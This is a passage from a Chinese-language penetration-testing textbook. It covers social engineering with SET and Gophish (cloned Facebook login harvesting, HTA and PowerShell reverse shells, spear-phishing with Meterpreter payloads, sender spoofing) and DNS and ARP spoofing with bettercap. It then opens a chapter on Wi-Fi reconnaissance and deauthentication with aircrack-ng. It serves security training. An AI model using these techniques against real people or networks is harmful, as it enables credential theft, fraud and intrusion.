菜单还提供了更新 SET 和更新配置的选项。然而,这些额外的选项应避免使用,因为 Kali 不完全支持它们,可能会与依赖关系产生冲突。

社会工程攻击

社会工程工具包的最新版本已移除了伪造短信和全屏攻击模块。以下是社会工程攻击的简要说明。

鱼叉式钓鱼攻击向量 允许攻击者创建邮件并将其发送给目标受害者,附带漏洞利用代码。网站攻击向量 利用多种基于网络的攻击方式,包括以下几种:

  1. Java 小程序攻击方法:这会伪造 Java 证书并传递基于 Metasploit 的载荷。这是最成功的攻击之一,能有效攻击 Windows、Linux 和 macOS 目标。

  2. Metasploit 浏览器漏洞攻击方法:这通过 iFrame 攻击传递 Metasploit 载荷。

  3. 凭证收集器攻击方法:这会克隆一个网站,并自动重写 POST 参数,允许攻击者拦截并收集用户凭证;收集完成后,它会将受害者重定向回原始网站。

  4. Tabnabbing 攻击方法:这会将一个不活动的浏览器标签页上的信息替换为一个克隆页面,该页面链接回攻击者。当受害者登录时,凭证会被发送给攻击者。

  5. Web 劫持攻击方法:该方法利用 iFrame 替换,使突出显示的 URL 链接看起来是合法的;然而,当点击该链接时,会弹出一个窗口,并且合法的链接会被恶意链接替换。

  6. 多重攻击网络方法:这允许攻击者选择一次发起的多个攻击中的一部分或全部,包括以下内容:

    • Java 小应用攻击方法

    • Metasploit 浏览器漏洞利用方法

    • 凭证收集攻击方法

    • Tabnabbing 攻击方法

    • Web 劫持攻击方法

  7. HTA 攻击方法:这是一种攻击者展示一个伪造网站,自动下载 .HTA 格式的 HTML 应用程序。

作为 SET 强大功能的初步示例,我们将看到它如何被用来获得远程 Shell:即从被攻击系统到攻击者系统的连接。

执行 Tabnabbing 攻击的测试人员可能会遇到以下错误信息:[!] 出现问题,打印错误:模块 'urllib' 没有属性 'urlopen'。这是当前版本的已知问题。然而,可以选择多重攻击网络方法,然后执行 Tabnabbing 攻击。

凭证收集器 Web 攻击方法

凭证(通常是用户名和密码)使得一个人可以访问网络、计算系统以及更广泛的数据。攻击者可以通过间接方式使用这些信息(例如,登录受害者的 Gmail 账户并发送电子邮件来推动攻击,针对受害者的信任关系),或直接攻击用户账户。由于凭证广泛重用,这种攻击尤其具有相关性;用户通常会在多个地方重复使用相同的密码。

特别重要的是拥有特权访问权限的人的凭证,例如系统管理员或数据库管理员的凭证,这可以让攻击者访问多个账户和数据存储库。

SET 的凭证收集攻击使用克隆站点来收集凭证。要启动此攻击,从主菜单选择 2) 网站攻击向量,然后选择 3) 凭证收集攻击方法,再选择 2) 网站克隆

在这个示例中,我们将按照菜单选择克隆一个网站,如 Facebook,如 图 5.15 所示:

图 5.15:使用凭证收集器克隆 Facebook 到我们的 Kali Linux 系统

再次提醒,攻击者的 IP 地址必须发送到目标。当目标点击链接或输入 IP 地址时,他们将看到一个克隆页面,类似于 Facebook 的常规登录页面,如 图 5.16 所示,并会被提示输入用户名和密码:

图 5.16:在我们的本地 Kali Linux 上托管 facebook.com

完成后,用户将被重定向到常规的 Facebook 站点,在那里他们将登录自己的账户。在后台,他们的访问凭证将被收集并转发给攻击者。攻击者将看到如下记录,如图 5.17所示:

图 5.17:成功捕获我们托管的本地 facebook.com 的用户名和密码字段

当攻击者完成凭证收集后,按下Ctrl + C会在/SET/reports目录下生成两个报告,格式分别为 XML 和 HTML。

请注意,URL 栏中的地址并不是有效的 Facebook 地址;大多数用户如果看到该地址会意识到有问题。成功的攻击需要攻击者为受害者准备一个合适的借口或故事,让受害者接受这个不寻常的 URL。例如,向一个非技术性的管理层目标群体发送电子邮件,通知他们现在由 IT 托管的本地 Facebook 站点可以减少邮件系统的延迟。

凭证收集攻击是评估公司网络安全的一个优秀工具。为了有效实施,该组织首先需要培训所有员工,教他们如何识别并应对钓鱼攻击。大约两周后,发送一封包含一些明显错误(如错误的公司 CEO 名字或包含错误地址的地址块)和一个能够收集凭证的程序链接的公司内部邮件。计算响应凭证的收件人百分比,并根据结果调整培训计划,以减少这个百分比。

多重攻击网络攻击方法

网站攻击向量的 Hail Mary 攻击是一种多重攻击网络方法,允许攻击者同时实施几种不同的攻击,前提是他们选择这样做。默认情况下,所有攻击都是禁用的,攻击者可以选择对目标执行哪些攻击。要启动此攻击,请从主菜单选择2) 网站攻击向量,然后选择6) 多重攻击网络方法,接着选择2) 网站克隆,如图 5.18所示:

图 5.18:多重攻击网络攻击向量菜单

你可以选择6\. 使用所有攻击 – 即“战术核弹”,或者输入你想要执行的攻击类型的数字;例如,对于Web Jacking 攻击方法,请输入5

如果你不确定哪些攻击对目标组织有效,这是一种有效的选项;选择一名员工,确定成功的攻击类型,然后将其重复用于其他员工。

HTA 网络攻击方法

这种类型的攻击是一个简单的 HTML 应用程序,可以为远程攻击者提供完全访问权限。HTA 文件的常见扩展名是 .hta。HTA 被视为与 .exe 扩展名的可执行文件一样。当通过 mshta.exe 执行时(或双击文件图标时),它会立即运行。当通过浏览器远程执行时,用户会在 HTA 下载之前被询问是否保存并运行该应用程序;如果保存,之后可以按需运行该程序。

攻击者可以使用 Web 技术为 Windows 创建恶意应用程序。要使用社会工程工具包发起 HTA 攻击,从主菜单选择 1) 社会工程攻击。然后,从下一个菜单选择 2) 网站攻击向量,再选择 7) HTA 攻击方法,最后选择 2) 网站克隆器 来克隆任意网站。在本例中,我们将克隆 facebook.com,如图 5.19所示:

图 5.19:通过克隆 facebook.com 成功设置 HTA 网络攻击

攻击者现在将向受害者用户发送伪造的 facebook.com 网站,以进行信息钓鱼;图 5.20 展示了受害者将看到的内容:

图 5.20:受害者的屏幕,在 HTA 负载传送到终端时弹出

如果受害者用户在系统上本地运行 HTA 文件,Internet Explorer 安全性将弹出一个额外的对话框,建立与攻击者的反向连接,如图 5.21所示。SET 应该会自动设置 Metasploit 的监听器:

图 5.21:成功执行负载,导致 Metasploit 反向 Shell 连接受害者

使用 PowerShell 字母数字 Shellcode 注入攻击

SET 还结合了基于 PowerShell 的更有效攻击方法,这些方法在 Microsoft Windows Vista 发布后,适用于所有 Microsoft 操作系统。由于 PowerShell shellcode 可以轻松地注入目标的物理内存,通过这种方式发起的攻击不会触发杀毒软件警报。

要使用 SET 发起 PowerShell 注入攻击,从主菜单选择 1) 社会工程攻击。然后从下一个菜单选择 9) PowerShell 攻击向量。这将给攻击者提供四种攻击类型的选择;对于本示例,选择 1 来调用 PowerShell 字母数字 shellcode 注入器。这将设置攻击参数,并提示攻击者输入负载监听器的 IP 地址,这通常是攻击者的 IP 地址。输入完成后,程序将创建利用代码并启动本地监听器。

启动攻击的 PowerShell Shellcode 存储在 /root/.set/reports/ powershell/x86_powershell_injection.txt 中。攻击的社会工程学部分发生在攻击者说服目标受害者将 x86_powershell_injection.txt 的内容复制到 PowerShell 提示符中,如图 5.22所示,并执行代码:

图 5.22:/root/.set/reports/powershell 文件夹中的 PowerShell 载荷

图 5.23所示,Shellcode 的执行没有触发目标系统的杀毒警报。相反,当代码被执行时,它在攻击系统上打开了一个 Meterpreter 会话,并允许攻击者与远程系统建立交互式 Shell:

图 5.23:确认 Metasploit 反向 Shell 从受害者到我们的 SET 监听器

一旦获得远程系统的访问权限,攻击者应创建一个后门,关于这一点,我们将在第十三章《命令与控制》中深入探讨。我们现在已经探索了攻击者在使用 SET 进行社会工程学攻击时可以使用的重要技术。

隐藏可执行文件并混淆攻击者的 URL

如前面示例所示,成功发起社会工程学攻击有两个关键。第一个是获取使其有效所需的信息:用户名、业务信息以及有关网络、系统和应用程序的支持细节。然而,大部分的精力集中在第二个方面:精心设计攻击以诱使目标打开可执行文件或点击链接。

一些攻击生成的模块需要受害者执行它们才能使攻击成功。不幸的是,用户对执行未知软件的警觉性越来越高。然而,有一些方法可以增加攻击执行成功的可能性,包括以下几种:

  • 从受害者已知并信任的系统发起攻击,或伪造攻击的来源。如果攻击看起来来自帮助台或 IT 支持,并声称是紧急软件更新,那么它很可能会被执行:

    • 将可执行文件重命名为类似于受信任软件的名称,例如 Java Update

    • 将恶意载荷嵌入到一个无害的文件中,例如 PDF 文件,通过一种攻击方式,如 Metasploit 的 adobe_pdf_embedded_exe_nojs 攻击。

    • 可执行文件也可以与 Microsoft Office 文件、MSI 安装文件或配置为在桌面上静默运行的 BAT 文件捆绑在一起。

    • 让用户点击下载恶意可执行文件的链接。

  • 由于 SET 使用攻击者的 URL 作为攻击的目标,成功的关键因素之一是确保攻击者的 URL 对受害者来说是可信的。为此,攻击者使用了几种技术,包括以下几种:

    • 使用像goo.gl/tinyurl.com这样的服务来缩短网址。这些缩短的 URL 在社交媒体平台上很常见,例如 Twitter,受害者在点击这些链接时通常不会采取任何预防措施。

    • 在社交媒体网站上输入链接,例如 Facebook 或 LinkedIn;该网站会生成一个自己的链接来替代你的链接,并显示目标页面的图片。然后,删除你输入的链接,留下新的社交媒体链接。

    • 在 LinkedIn 或 Facebook 上创建一个虚假网页;作为攻击者,你控制内容,可以创造一个引人入胜的故事,促使成员点击链接或下载可执行文件。一个执行得当的页面不仅会针对员工,还会瞄准供应商、合作伙伴及其客户,从而最大化社会工程学攻击的成功率。

使用 DNS 重定向升级攻击

如果攻击者或渗透测试员已经入侵了内部网络中的某个主机,他们可以通过 DNS 重定向来升级攻击。这通常被认为是一种水平攻击(它妥协的是大致相同访问权限的人);然而,如果捕获了特权人员的凭证,它也可能向上升级。 在本例中,我们将使用 bettercap(将在第十一章中更详细地探讨,行动目标与横向移动)作为嗅探器、拦截器和交换式 LAN 的日志记录工具。它便于实施中间人攻击,但我们将利用它发起 DNS 重定向攻击,将用户引导至用于社会工程学攻击的网站。

要启动攻击,我们需要安装 bettercap,而最新版本的 Kali 中默认未安装此工具。可以通过运行sudo apt install bettercap来完成安装。安装完成后,我们应该能够激活所需的任何模块;例如,我们现在通过创建一个名为dns.conf的文件,其中包含 IP 和域名详细信息,来尝试在目标上使用 DNS 欺骗攻击模块,如图 5.24所示。这样,网络上所有发送到microsoft.com的请求将被转发到攻击者的 IP 地址,在此示例中为192.168.0.103

我们可以通过在 Kali Linux 上启动默认的 Apache 服务器来运行该攻击,首先通过运行sudo systemctl start apache2.service来启动服务,接着通过在终端输入sudo bettercap来运行 bettercap,加载我们的 DNS 配置文件set dns.spoof.hosts dns.conf,然后通过运行dns.spoof on来开启 DNS 欺骗:

图 5.24:配置 bettercap 以嗅探网络

为确保网络上的所有目标首先准备就绪,测试人员需要通过在 bettercap 终端输入net.sniff onarp.spoof on来启用网络嗅探和 ARP 欺骗模块。成功的 DNS 重定向将在 bettercap 终端中被捕获,如图 5.25所示:

图 5.25:成功将 DNS 重定向 Microsoft.com 到攻击者的 IP

当网络上的受害者访问microsoft.com时,他们将被重定向到托管在攻击者 IP 上的 Apache 服务。攻击者可以选择克隆microsoft.com并将其托管在他们的 Apache 服务器上。在内部基础设施中,这种攻击更为成功,因为没有额外的 DNS 安全保护。大多数公司在其外部基础设施上有 DNS 保护,例如 Cloudflare、AWS Shield 和 Akamai。

网络钓鱼攻击

网络钓鱼是一种针对大量受害者的电子邮件欺诈攻击,例如一个已知的美国互联网用户列表。目标通常没有关联,电子邮件也不会试图吸引任何特定个人。

相反,邮件内容包含一些普遍感兴趣的项目(例如,点击这里接种 COVID-19 疫苗)和一个恶意链接或附件。攻击者打算通过概率,至少有一部分人会点击附件,从而发起攻击。

另一方面,网络钓鱼是一种高度特定的钓鱼攻击形式;通过以特定方式编写电子邮件消息,攻击者希望吸引特定受众的注意。例如,如果攻击者知道销售部门使用某个特定应用程序来管理客户关系,他们可能会伪造一封电子邮件,假装来自该应用程序的供应商,邮件主题为紧急修复<应用程序> - 点击链接下载

成功发起网络钓鱼攻击的步骤如下:

  1. 在发起攻击之前,确保在 Kali 上安装了sendmailsudo apt-get install sendmail),并将set.config文件中的SENDMAIL=OFF更改为SENDMAIL=ON,该文件位于/etc/setoolkit/

    如果测试人员收到任何与broken package exim*相关的错误信息,应运行sudo apt-get purge exim4-base exim4-config,然后运行sudo apt-get install sendmail

  2. 要执行攻击,启动 SET,然后从主菜单中选择Social Engineering Attacks,再从子菜单中选择Spear-Phishing Attack Vectors。这将启动攻击的开始选项,如图 5.26所示:

    图 5.26:网络钓鱼主菜单

  3. 选择1进行大规模电子邮件攻击;然后会展示一系列攻击有效载荷,如图 5.27所示:

    图 5.27:网络钓鱼模块中可用的漏洞列表

  4. 攻击者可以根据在侦察阶段获得的目标信息选择任何可用的有效载荷。在这个示例中,我们将选择7) Adobe Flash Player "Button" Remote Code Execution选项。

    当你选择7时,将提示你选择有效载荷,如图 5.28所示。我们在这个示例中使用了 Windows Meterpreter 反向 Shell HTTPS:

    图 5.28:框架中支持的有效载荷

    一旦从 SET 控制台准备好有效载荷和漏洞利用,攻击者将看到图 5.29 中显示的确认信息:

    图 5.29:使用 Adobe 漏洞创建 PDF 文件

  5. 现在,您可以通过选择选项 2\. 重命名文件,我想让它看起来很酷 来重命名文件。

  6. 一旦重命名文件,您将有两个选项可以选择:E-mail Attack Single Email AddressE-mail Attack Mass Mailer

  7. 攻击者可以选择使用群发邮件或单独针对较弱的受害者,取决于其偏好。如果使用单个电子邮件地址,SET 会提供进一步的模板供攻击者使用,如图 5.30所示:

    图 5.30:为单个电子邮件地址作为目标提供的预定义模板

  8. 在选择钓鱼模板后,您将有两个选项可用:使用自己的 Gmail 账户发起攻击(1)或使用自己的服务器或开放中继(2)。如果使用 Gmail 账户,攻击可能会失败;Gmail 会检查外发邮件中的恶意文件,并且非常有效地识别 SET 和 Metasploit 框架生成的有效载荷。如果必须通过 Gmail 发送有效载荷,可以先使用 Veil 3.1 对其进行编码。

建议使用sendmail选项发送可执行文件;它允许伪装邮件来源,使其看起来像是来自可信来源。为了确保邮件的有效性,攻击者应注意以下几点:

  • 内容应提供诱因(新服务器将更快,具有更好的防病毒功能)和威胁(您需要进行的更改,才能访问您的电子邮件)。大多数人都会回应直接的行动呼吁,尤其是当它直接影响到他们时。

  • 在前面的示例中,附加文档的标题为template.pdf。在实际场景中,这个标题应改为instructions.pdf

  • 确保拼写和语法正确,邮件的语气应与内容相符。

  • 发送电子邮件的个人职称应与内容相符。

  • 如果目标组织较小,可能需要伪装成真实个人的名字,并将邮件发送给一个通常不会与该人互动的小群体。

  • 包含一个电话号码;这会使邮件看起来更正式,而且可以通过各种方式使用商业语音 IP 解决方案获取带有本地区号的短期电话号码。

一旦攻击邮件发送到目标,成功激活(收件人启动可执行文件)将创建一个反向 Meterpreter 隧道,连接到攻击者的系统。攻击者将能够控制被攻陷的系统。

使用 Gophish 进行电子邮件钓鱼攻击

Gophish 是一个完全集成的开源钓鱼框架,同时也提供商业支持。该框架使任何类型的用户都可以快速创建钓鱼活动并在几分钟内部署一个复杂的钓鱼模拟或执行真实攻击。与 SET 不同,Gophish 并未预装在 Kali Linux 中。在本节中,我们将探讨如何设置环境:

  1. 通过访问github.com/gophish/gophish/releases,根据系统配置下载合适的版本。在本书中,我们将使用 gophish-v0.11.1 64 位 Linux 版本。

  2. 一旦应用程序下载到 Kali Linux,我们将解压缩文件夹并用正确的信息配置config.json文件;攻击者可以选择使用任何自定义数据库,如 MySQL、MSSQL 等。我们将使用sqlite3;如果测试者希望通过局域网共享相同资源,则必须在listen_url中声明明确的 IP 地址,如图 5.31所示。它设置为0.0.0.0以监听所有以太网适配器。

    默认情况下,它只会暴露给本地主机:

    图 5.31:更改 Gophish 配置文件,并将监听 URL 设置为 0.0.0.0:3333

  3. 下一步是通过在 Kali Linux 终端运行chmod +x gophish来更改文件权限以执行。最后,从同一文件夹中输入sudo ./gophish运行应用程序,这应该会在默认的3333端口上启动 Gophish Web 应用程序门户,并带有自签名的 SSL 证书。为了避免应用程序使用默认凭证,Gophish 的最新版本会在初始启动脚本中为admin用户生成一个临时密码,如图 5.32所示:

    图 5.32:Gophish 启动时自动生成的 admin 用户密码

  4. 现在,你应该能够通过访问https://yourIP:3333来访问应用程序;你应该能够使用用户admin和从上一步获取的密码进行登录。这将迫使测试者重置他们的初始密码,如图 5.33所示:

    图 5.33:成功登录后,Gophish 强制重置密码的界面,用户为 admin

当使用 Gophish 自签名证书在内部托管时,测试者在浏览器中将收到证书错误。

使用 Gophish 发起钓鱼攻击

在启动钓鱼活动之前,需要在 Gophish 中设置一些先决条件。它们可以大致分为几个重要步骤,以确保成功启动活动:

  1. 模板:模板是网络钓鱼中非常关键的部分;你必须能够根据你的游戏计划创建自己的模板。最常用的模板包括 Office365、Webmail 以及内部 Facebook 和 Gmail 登录页面。一些模板可以在github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E/tree/main/Chapter%2005找到。

    创建模板的简单步骤如下:在模板部分,点击新建模板,在名称主题字段中输入详细信息,点击 HTML,复制模板中的原始 HTML 内容,粘贴到编辑器中,然后点击保存模板

  2. 登录页面:网络钓鱼活动的效果总是与如何通过登录页面将受害者重定向到一个合法网站有关。

    与模板步骤类似,从左侧菜单中导航到登录页面,点击新建页面,输入名称,然后复制并粘贴模板——你也可以直接导入一个站点。最后,点击保存页面

  3. 发送配置:配置文件是你存储所有 SMTP 和发件人详细信息的地方;Gophish 允许攻击者定义多个配置文件,并可以使用自定义电子邮件头信息。

    创建配置文件,点击发送配置新建配置,并输入名称接口类型;默认情况下应该选择SMTP。在发件人部分输入你选择的电子邮件 ID。主机是 SMTP 服务器——攻击者可以选择自己的服务器或使用现有服务,如 AWS。在我们的例子中,我们将使用 smtp.gmail.com:465 并输入用户名密码。大多数反钓鱼解决方案会基于邮件头信息阻止邮件发送。因此,尝试使用电子邮件头 Microsoft Office Outlook XXOutlook Express for Macintosh。如果所有设置正常,可以点击发送测试邮件。成功的测试邮件应与图 5.34中的示例相似。最后,点击保存配置

    图 5.34:Gophish 默认电子邮件

    使用 Gmail 服务的测试人员必须确保开启低安全性应用访问,以允许第三方应用使用该服务。这可以通过访问myaccount.google.com/lesssecureapps?pli=1并开启允许低安全性应用来实现。

  4. 用户与组:上传单个或多个目标受害者的电子邮件 ID 和其名字、姓氏。Gophish 允许测试人员创建组并以 CSV 格式导入。

    从菜单中导航到用户与组,点击新建组,然后导入一个 CSV 格式的文件,或者手动输入名字、姓氏、电子邮件 ID 和职位。点击添加,然后点击保存更改

  5. 账户管理:单个实例可以启动多个钓鱼活动;因此,个别用户可以拥有自己的门户账户。

  6. Webhook:Webhook 只是一个 Web 回调或 HTTP 推送应用程序编程接口API)。此选项允许测试人员实现 Webhook,可以将结果直接推送到任何第三方 API。

一旦我们设置好了所有的模板、着陆页面、用户和发送配置文件,我们就可以通过点击菜单中的Campaigns来启动活动。然后点击New Campaign并输入活动的名称。选择电子邮件模板着陆页面,并提供将承载钓鱼页面的主机/IP 的URL;通常,这将是运行 Gophish 的 Kali Linux IP 地址。选择启动日期或安排日期和时间,选择已创建的发送配置文件,选择,如图 5.35所示,最后点击Launch Campaign。我们可以选择钓鱼活动开始的日期和时间以及目标受害者的组。Gophish 还提供了一个选项来测试电子邮件,查看它是被阻止了,还是直接进入目标的收件箱,具体取决于所选模板:

图 5.35:在特定目标上启动电子邮件活动

一旦活动成功启动,受害者应该会收到基于在活动选择过程中所选模板的电子邮件。使用Microsoft Teams Unread messages模板的电子邮件将类似于图 5.36中所示:

图 5.36:使用 Microsoft Teams Unread 模板的钓鱼电子邮件示例

当目标用户点击电子邮件中的任何链接时,他们将被带到着陆页面,并且会带上由 Gophish 为目标用户生成的唯一 RID 号码。应显示一个示例的 Office 365 着陆页面,如图 5.37所示:

图 5.37:当受害者点击链接时,Office 365 着陆页面的示例

同一个着陆页面也可以与 BeEF 框架挂钩,以劫持浏览器并利用用户当前的浏览器会话;然而,我们将在第七章利用基于 Web 的应用程序中探讨 BeEF 的详细内容。

最后,测试人员可以追踪每个活动启动后发送、打开、点击和提交的所有电子邮件,如图 5.38所示:

图 5.38:Gophish 仪表板

Email Reported选项包括那些发现并报告钓鱼邮件为可疑的用户。通常,内部 IT 安全团队成员可以利用这个输出评估用户的网络安全意识。

我们现在已经探讨了如何下载、安装和运行 Gophish,并启动电子邮件钓鱼活动。

使用批量传输作为钓鱼手段来传递负载

攻击者还可以利用大容量文件传输软件,如 Smash、Hightail、Terashare、WeTransfer、SendSpace 和 DropSend。假设我们针对了两个人,一个是财务管理员,另一个是 CEO。攻击者可以简单地在这两名受害者之间发送文件,访问其中一个大容量传输网站,如 sendspace.com,上传一个恶意文件,同时将发送者设置为 Financeadmin@targetcompany.com,将接收者设置为 ceo@targetcompany.com。文件上传后,双方将收到包含文件链接的电子邮件;在这种情况下,ceo@targetcompany.com 将收到一封邮件,通知文件已成功发送,Financeadmin@cyberhia.com 将收到类似的邮件,如图 5.39所示:

图 5.39:Sendspace 大容量传输邮件

在大多数情况下,这些大容量传输并不在企业环境的阻止列表中(如果一个被阻止,攻击者可以切换到另一个),因此它们能直接访问内部员工并传递有效信息,且不可检测的有效载荷将提供更高的成功率,而不会暴露攻击者的身份。

概述

社会工程学是一种攻击人类的方法,利用人们固有的信任和乐于助人的特点来攻击网络及其设备。在本章中,我们探讨了社会工程学如何被用来促进旨在捕获凭证、激活恶意软件或协助发起进一步攻击的攻击。大多数攻击依赖于 SET 和 Gophish;然而,Kali 还拥有多个其他应用程序,可以通过社会工程学方法加以改进。我们还探讨了如何利用新的大容量传输公司来传播有效载荷,而不必使用任何电子邮件服务来执行钓鱼攻击。我们还研究了如何通过物理访问,通常与社会工程学结合使用,来将恶意设备放置在目标网络中。

在下一章中,我们将研究如何对无线网络进行侦察,并攻击开放网络以及基于 WPA2 加密方案保护的网络。我们还将研究无线和蓝牙协议中的一般弱点,这些弱点使它们容易受到拒绝服务攻击和冒充攻击。

第六章:无线和蓝牙攻击

移动设备的主导地位促使大多数公司采纳自带设备BYOD),并需要提供即时的网络连接,使无线网络成为普遍的互联网接入点。不幸的是,无线接入的便利性伴随着有效攻击的增加,这些攻击可能导致数据盗窃、未经授权的访问以及网络资源的服务拒绝。Kali 提供了多种工具来配置并发起这些无线攻击,从而帮助组织提高安全性。

在本章中,我们将探讨几个日常管理任务和无线攻击,包括以下主题:

  • 配置 Kali 进行无线和蓝牙攻击

  • 无线和蓝牙侦察

  • 绕过隐藏的服务集标识符SSID

  • 绕过 MAC 地址认证和开放认证

  • 破解 WPA/WPA2 加密并执行中间人攻击MiTM

  • 使用 Reaver 攻击无线路由器

  • 拒绝服务DoS)攻击针对无线和蓝牙通信

无线和蓝牙技术介绍

无线技术使得两个或多个实体可以在没有任何类型的电线或电缆的情况下进行远距离通信。它利用无线电频率RF)和红外线IR)波。

表 6.1概述了不同的无线技术,支持的 IEEE 标准、操作的无线频率、数据比特率以及网络范围和大小:

名称 蓝牙经典 蓝牙 4.0 低能耗(BLE) ZigBee Wi-Fi Wi-Fi 5/6
IEEE 标准 802.15.1 802.15.1 802.15.4 802.11(a, b, g, n) 802.11(ac, ax)
频率(GHz) 2.4 2.4 0.868, 0.915, 2.4 2.4 和 5 ac=5, ax=2.4 和 5
最大原始比特率(Mbps) 1-3 1 0.250 11(b),54(g),600(n) 433(ac)600.4(ax)
典型数据吞吐量(Mbps) 0.7-2.1 0.27 0.2 7(b),25(g),150(n) 6933(ac)9607.8(ax)
最大(户外)范围(米) 10(2 类),100(1 类) 50 10-100 100-250 ac=35-110 ax=70-240
网络大小 7 未定义 64,000+ 255 8

表 6.1:不同类型无线技术的比较

在本章中,我们将重点介绍两种主要的无线技术:蓝牙和 Wi-Fi。主要区别在于,Wi-Fi 能够提供长距离和高速互联网,而蓝牙则为短距离设备设计,用于共享信息。

配置 Kali 进行无线攻击

Kali Linux 预装了多种工具,以便于无线网络的测试;然而,这些攻击需要广泛的配置才能完全有效。此外,测试人员在实施攻击或审计无线网络之前,应具备扎实的无线网络背景。

无线安全测试中最重要的工具是无线适配器,它连接到无线接入点AP)。它必须支持使用的工具,尤其是aircrack-ng工具套件;特别是,卡的芯片组和驱动程序必须具备将无线数据包注入通信流的能力。

这是对需要将特定数据包类型注入目标和受害者之间流量的攻击的要求。注入的数据包可以导致 DoS 攻击,使攻击者能够捕获破解加密密钥所需的握手数据或支持其他无线攻击。

与 Kali 兼容的最可靠适配器是 Alfa 网络卡,特别是 AWUS036NH 或 Wi-Fi Pineapple 适配器,或者支持无线 802.11 b、g 和 n 协议的 TP-Link N150 TL-WN722N 版本 1。同样,为了执行蓝牙攻击,建议使用外部加密狗,如 TP-Link USB 蓝牙适配器或 WAVLINK 无线蓝牙 CSR 4.0 加密狗。这些卡通常不到 10 美元,且可以在线轻松购买,支持 Kali 执行的所有测试和攻击。

无线侦察

进行无线攻击的第一步是进行侦察——这有助于确定目标 AP 的确切位置,并突出显示可能影响测试的其他无线网络。

如果你使用的是 USB 连接的无线网卡连接到 Kali 虚拟机,请确保 USB 连接已经从宿主操作系统断开,并已连接到虚拟机。如果你使用的是 VirtualBox,选择 Kali Linux 虚拟机,然后点击设置。选择USB类别,点击带有+符号的 USB 图标,然后选择 USB 无线或蓝牙适配器。这将断开 USB 与宿主操作系统的连接,并将其连接到你的 VirtualBox。同样,对于 VMware,点击主菜单中的VM,点击可移动设备,然后选择你的无线或蓝牙设备。

接下来,通过在命令行中运行iwconfig来确定可用的无线接口,如图 6.1所示:

图 6.1:无线适配器列表

对于某些攻击,你可能希望增加适配器的输出功率。如果你与一个合法的无线 AP 位于同一位置,并且希望目标连接到你控制的虚假 AP 而不是合法 AP,这将特别有用。这些虚假或恶意AP 允许攻击者截获数据,并根据需要查看或修改数据以支持攻击。攻击者经常会复制或克隆一个合法的无线网络,然后将其传输功率提高,以便吸引受害者。要增加功率,使用以下命令:

sudo iwconfig wlan0 txpower 30 

许多攻击将使用 aircrack-ng 及其相关工具进行。首先,我们需要拦截或监控无线传输;因此,我们需要通过 airmon-ng 命令将 Kali 通信接口设置为监控模式:

sudo airmon-ng start wlan0 

上一条命令的执行结果如 图 6.2 所示:

图 6.2:使用 airmon-ng 启动监控模式

请注意,返回的描述表示有些进程可能会造成问题。处理这些进程的最有效方法是使用全面的 kill 命令,如下所示:

sudo airmon-ng check kill 

要查看本地无线环境,请使用以下命令:

sudo airodump-ng wlan0mon 

上一条命令列出了在特定时间内无线适配器范围内能够发现的所有网络。它提供了网络上无线节点的基本服务集标识符BSSID),该标识符是通过 MAC 地址识别的。

媒体访问控制MAC)地址唯一标识网络中的每个节点。它由六对十六进制数字(0 到 9 和字母 A 到 F)组成,并通过冒号或短横线分隔,通常以这种格式显示:00:50:56:C0:00:01

它还显示了相对输出功率的指示、已发送数据包的信息、包括所用频道和数据的带宽信息、加密使用情况的信息,以及提供无线网络名称的扩展服务集标识符ESSID)。这些信息如 图 6.3 所示,非必要的 ESSID 已被模糊处理:

图 6.3:airodump-ng 正在积极识别不同的无线 AP

airodump 命令默认在 2.4 GHz 上循环通过可用的无线频道 1-13,并识别以下内容:

  • BSSID 是唯一的 MAC 地址,用于标识无线接入点(AP)或路由器。

  • 每个网络的 PWR 或功率。虽然 airodump-ng 错误地显示功率为负值,但这只是一个报告伪影。要获取正确的正值,请访问终端并运行 airdriver-ng unload 36,然后运行 airdriver-ng load 35

  • CH 显示正在用于广播的频道。

  • ENC 显示所使用的加密方式——如果没有使用加密,则为 OPN(开放);如果使用加密,则为 WEPWPA/WPA2CIPHERAUTH 提供附加的加密信息。

  • ESSID 是无线网络的公共名称,由共享相同 SSID 或名称的接入点(AP)组成。

在终端窗口的下部,你将看到尝试连接或已连接到无线网络的站点。

在我们与任何这些(潜在的)目标网络交互之前,我们必须确认我们的无线适配器能够进行数据包注入。为此,请在终端 shell 提示符下运行以下命令:

sudo aireplay-ng -9 wlan0mon 

这里,-9表示注入测试。这将提供向目标 Wi-Fi 网络注入数据包的能力。

绕过隐藏的 SSID

ESSID 是唯一标识无线局域网的字符序列。隐藏 ESSID 是一种试图通过模糊安全性来实现的差劲方法;不幸的是,可以通过以下任何一种方式获得 ESSID:

  • 嗅探无线环境并等待客户端连接到网络,然后捕获该连接

  • 主动取消认证客户端,迫使客户端关联并捕获该关联

aircrack工具特别适合捕获解除隐藏 ESSID 所需的数据,如以下步骤所示:

  1. 在命令提示符下,确认攻击系统上已启用无线功能,通过输入以下命令:

    sudo airmon-ng 
    
  2. 接下来,使用以下ifconfig命令查看可用的接口,并确定无线系统使用的确切名称:

    ifconfig 
    
  3. 启用无线接口,输入以下命令(你可能需要将wlan0替换为前一步骤中识别的可用无线接口):

    sudo airmon-ng start wlan0 
    
  4. 如果你重新确认ifconfig,你会看到现在正在使用一个监视地址或wlan0mon。现在使用airodump确认可用的无线网络,输入以下命令,攻击者应该能够看到图 6.4中的屏幕:

    sudo airodump-ng wlan0mon 
    

    图 6.4:airodump 显示所有可用的无线网络

    正如你在图 6.4中看到的,最后一个网络的ESSID仅被识别为<length: 0>。没有使用其他名称或标识。隐藏的ESSID的长度被标识为由九个字符组成;然而,这个值可能不正确,因为ESSID是隐藏的。真实的ESSID长度实际上可能比九个字符更短或更长。

    重要的是,可能有客户端连接到这个特定网络。如果有客户端存在,我们将取消认证客户端,迫使他们在重新连接到 AP 时发送ESSID

  5. 重新运行airodump并过滤掉除了目标 AP 之外的所有内容。在这个特定案例中,我们将专注于使用以下命令从频道 11 上的隐藏网络收集数据:

    sudo airodump-ng -c 11 wlan0mon 
    

    执行此命令将移除来自多个无线源的输出,并允许攻击者专注于目标ESSID,如图 6.5所示:

    图 6.5:airodump 在频道 11 上运行

    执行airodump命令时获得的数据表明,有一个站点(82:A4:64:7F:6D:88)连接到了BSSIDC0:05:C2:02:85:67),而该BSSID又与隐藏的ESSID相关联。

  6. 为了捕获正在传输的ESSID,我们需要创建一个条件,确保它会在客户端与 AP 连接的初始阶段发送。

    因此,我们将通过发送一串数据包发起去认证攻击,既对客户端也对 AP 进行攻击,打破它们之间的连接,并迫使客户端重新与 AP 关联。

